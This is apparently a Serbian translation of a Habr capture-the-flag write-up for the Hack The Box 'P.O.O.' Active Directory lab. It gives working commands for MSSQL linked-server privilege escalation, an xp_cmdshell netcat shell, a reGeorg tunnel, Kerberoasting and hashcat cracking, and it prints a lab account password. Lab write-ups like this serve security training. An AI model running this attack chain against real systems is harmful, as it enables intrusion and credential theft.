У овом чланку ћемо анализирати пролаз не само машине, већ и целе мини-лабораторије са сајта
Као што је наведено у опису, ПОО је дизајниран да тестира вештине у свим фазама напада у малом окружењу Ацтиве Дирецтори. Циљ је компромитовати доступан хост, ескалирати привилегије и на крају компромитовати цео домен прикупљањем 5 заставица у процесу.
Веза са лабораторијом је преко ВПН-а. Препоручљиво је да се не повезујете са радног рачунара или са хоста где се налазе подаци важни за вас, јер завршите на приватној мрежи са људима који знају нешто из области информационе безбедности :)
Организационе информације
Да бисте могли да сазнате о новим чланцима, софтверу и другим информацијама, креирао сам
Све информације су дате само у образовне сврхе. Аутор овог документа не преузима никакву одговорност за било какву штету нанету било коме као резултат коришћења знања и метода добијених као резултат проучавања овог документа.
интро
Овај крај игре се састоји од две машине и садржи 5 заставица.
Такође је дат опис и адреса доступног хоста.
Почнимо!
Рецон флаг
Ова машина има ИП адресу 10.13.38.11 коју додајем у /етц/хостс.
10.13.38.11 poo.htb
Пре свега, скенирамо отворене портове. Пошто скенирање свих портова помоћу нмап-а траје дуго, прво ћу то урадити користећи массцан. Скенирамо све ТЦП и УДП портове са тун0 интерфејса брзином од 500 пакета у секунди.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Сада, да бисмо добили детаљније информације о услугама које раде на портовима, покренимо скенирање са опцијом -А.
nmap -A poo.htb -p80,1433
Дакле, имамо ИИС и МССКЛ услуге. У овом случају сазнаћемо право ДНС име домена и рачунара. На веб серверу нас дочекује ИИС почетна страница.
Хајде да пређемо преко директоријума. Користим гобустер за ово. У параметрима наводимо број стримова 128 (-т), УРЛ (-у), речник (-в) и екстензије које нас занимају (-к).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Ово нам даје ХТТП аутентификацију за /админ директоријум, као и приступачну датотеку десктоп сервиса .ДС_Сторе. .ДС_Сторе су датотеке које чувају прилагођена подешавања за фасциклу, као што су листа датотека, локација икона и изабрана позадинска слика. Таква датотека може завршити у директоријуму веб сервера веб програмера. На овај начин добијамо информације о садржају именика. За ово можете користити
python3 dsstore_crawler.py -i http://poo.htb/
Добијамо садржај директоријума. Најинтересантнија ствар овде је директоријум /дев, из којег можемо да погледамо изворе и дб фајлове у две гране. Али можемо користити првих 6 знакова имена датотека и директоријума ако је услуга рањива на ИИС СхортНаме. Ову рањивост можете проверити користећи
И налазимо једну текстуалну датотеку која почиње са „поо_цо“. Не знајући шта даље, једноставно сам одабрао све речи које почињу са „цо“ из речника именика.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
А ми ћемо то решити користећи вфузз.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
И нашли смо праву реч! Погледамо овај фајл, сачувамо акредитиве (судећи по параметру ДБНАМЕ, они су из МССКЛ-а).
Предајемо заставу, а напредујемо 20%.
Хух застава
Повезујемо се на МССКЛ, ја користим ДБеавер.
Не налазимо ништа занимљиво у овој бази података, хајде да направимо СКЛ Едитор и проверимо који корисници постоје.
SELECT name FROM master..syslogins;
Имамо два корисника. Хајде да проверимо наше привилегије.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Дакле, нема привилегија. Хајде да погледамо повезане сервере, писао сам о овој техници детаљно
SELECT * FROM master..sysservers;
Дакле, налазимо други СКЛ Сервер. Хајде да проверимо извршење команди на овом серверу помоћу опенкуери().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Можемо чак и да направимо стабло упита.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Чињеница је да када упутимо захтев повезаном серверу, захтев се извршава у контексту другог корисника! Хајде да видимо који кориснички контекст покрећемо на повезаном серверу.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
А сада да видимо у ком контексту се извршава захтев са повезаног сервера на наш!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Дакле, ДБО контекст треба да има све привилегије. Хајде да проверимо привилегије у случају захтева са повезаног сервера.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Као што видите, имамо све привилегије! Хајде да направимо нашег администратора овако. Али они их не пуштају кроз опенкуери, хајде да то урадимо преко ЕКСЕЦУТЕ АТ.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
И сада се повезујемо са акредитивима новог корисника, посматрамо нову базу података застава.
Предајемо ову заставу и идемо даље.
Бацктрацк флаг
Хајде да набавимо љуску користећи МССКЛ, ја користим мссклцлиент из импацкет пакета.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Морамо да добијемо лозинке, а прво на шта смо већ наишли је веб локација. Дакле, потребна нам је конфигурација веб сервера (није могуће оставити погодну шкољку, очигледно је заштитни зид покренут).
Али приступ је одбијен. Иако можемо да читамо датотеку из МССКЛ-а, само треба да знамо који су програмски језици конфигурисани. А у МССКЛ директоријуму сазнајемо да постоји Питхон.
Тада нема проблема да прочитате датотеку веб.цонфиг.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Са пронађеним акредитивима идите на /админ и узмите заставицу.
Фоотхолд флаг
У ствари, постоје неке непријатности због коришћења заштитног зида, али гледајући кроз подешавања мреже, примећујемо да се користи и ИПв6!
Додајте ову адресу у /етц/хостс.
dead:babe::1001 poo6.htb
Хајде да поново скенирамо хост, али користећи ИПв6 протокол.
А услуга ВинРМ је доступна преко ИПв6. Хајде да се повежемо са пронађеним акредитивима.
На радној површини је заставица, предајемо је.
П00нед флаг
Након извођења извиђања на домаћину користећи
setspn.exe -T intranet.poo -Q */*
Покренимо команду преко МССКЛ-а.
Користећи ову методу, добијамо СПН корисника п00_хр и п00_адм, што значи да су рањиви на нападе као што је Кербероастинг. Укратко, можемо добити њихове хешове лозинки.
Прво морате да добијете стабилну шкољку као МССКЛ корисник. Али пошто смо ограничени у приступу, имамо везу са хостом само преко портова 80 и 1433. Али могуће је тунелирати саобраћај кроз порт 80! За ово ћемо користити
Али када покушамо да му приступимо, добијамо грешку 404. То значи да се *.аспк датотеке не извршавају. Да бисте покренули датотеке са овим екстензијама, инсталирајте АСП.НЕТ 4.5 на следећи начин.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
А сада, када приступимо туннел.аспк, добијамо одговор да је све спремно за рад.
Покренимо клијентски део апликације, који ће преносити саобраћај. Проследићемо сав саобраћај са порта 5432 на сервер.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
И ми користимо прокси ланце за слање саобраћаја било које апликације преко нашег проксија. Хајде да додамо овај прокси у /етц/прокицхаинс.цонф конфигурациони фајл.
Сада хајде да отпремимо програм на сервер
Сада покрећемо слушалац преко МССКЛ-а.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
И повезујемо се преко нашег проксија.
proxychains rlwrap nc poo.htb 4321
И хајде да узмемо хеш.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Затим морате да поновите ове хешове. Пошто роцкиоу речник није садржао ове лозинке, користио сам СВЕ речнике лозинки које су дате у Сецлистс. За претрагу користимо хасхцат.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
И налазимо обе лозинке, прву у речнику дутцх_пассвордлист.ткт, а другу у Кеибоард-Цомбинатионс.ткт.
И тако имамо три корисника, идемо на контролер домена. Прво сазнамо његову адресу.
Одлично, сазнали смо ИП адресу контролера домена. Хајде да сазнамо све кориснике домена, као и ко је од њих администратор. Да бисте преузели скрипту да бисте добили информације ПоверВиев.пс1. Затим ћемо се повезати помоћу евил-винрм, наводећи директоријум са скриптом у параметру -с. А онда само учитајте ПоверВиев скрипту.
Сада имамо приступ свим његовим функцијама. Корисник п00_адм изгледа као привилеговани корисник, тако да ћемо радити у његовом контексту. Хајде да направимо ПСЦредентиал објекат за овог корисника.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Сада ће све Поверсхелл команде где наведемо Цредс бити извршене као п00_адм. Хајде да прикажемо листу корисника и атрибут АдминЦоунт.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
И тако, наш корисник је заиста привилегован. Да видимо у којим је групама.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Коначно потврђујемо да је корисник администратор домена. Ово му даје право да се даљински пријави на контролер домена. Покушајмо да се пријавимо са ВинРМ користећи наш тунел. Збуниле су ме грешке које је издао реГеорг када сам користио евил-винрм.
Затим користимо другу, лакшу,
Покушавамо да се повежемо, а ми смо у систему.
Али нема заставе. Затим погледајте корисника и проверите радне површине.
Код мр3кс налазимо заставу и лабораторија је 100% завршена.
То је све. Као повратну информацију, молимо вас да коментаришете да ли сте научили нешто ново из овог чланка и да ли вам је био користан.
Можете нам се придружити на
Извор: ввв.хабр.цом